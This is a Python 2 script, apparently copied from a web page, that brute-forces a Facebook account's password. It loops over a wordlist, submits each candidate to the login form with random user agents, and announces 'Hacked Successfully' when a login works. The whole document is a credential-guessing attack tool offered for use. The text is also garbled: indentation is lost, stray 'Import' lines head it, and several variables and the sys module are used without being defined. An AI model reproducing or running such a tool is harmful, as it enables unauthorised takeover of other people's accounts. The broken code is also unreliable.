Import Import Import Import
Import Import Import Import
import mechanize
import cookielib
import random
login = 'https://www.facebook.com/login.php?login_attempt=1'
def main():
global br
br = mechanize.Browser()
cj = cookielib.LWPCookieJar()
br.set_handle_robots(False)
br.set_handle_redirect(True)
br.set_cookiejar(cj)
br.set_handle_equiv(True)
br.set_handle_referer(True)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
welcome()
search()
print("Password does not exist in the wordlist")
def brute(password):
sys.stdout.write("\r[*] Trying ..... {}\n".format(password))
sys.stdout.flush()
br.addheaders = [('User-agent', random.choice(useragents))]
site = br.open(login)
br.select_form(nr = 0)
br.form['email'] = email
br.form['pass'] = password
sub = br.submit()
log = sub.geturl()
if log != login and (not 'login_attempt' in log):
print(Bg +"\n\n[+] Email/Phone: " + email + " Password:
{}".format(password)) + W
print Bg + "[+] " + email + " Has been Hacked Successfully!!!" + W
raw_input("ANY KEY to Exit....")
sys.exit(1)
def search():
global password
passwords = open(passwordlist,"r")
for password in passwords:
password = password.replace("\n","")
brute(password)
#welcome
def welcome():
total = open(passwordlist,"r")
total = total.readlines()
print
print " [*] Account to crack : {}".format(email)
print " [*] Loaded :" , len(total), "passwords"
print " [*] Cracking, please wait ...\n\n"
if __name__ == '__main__':
main()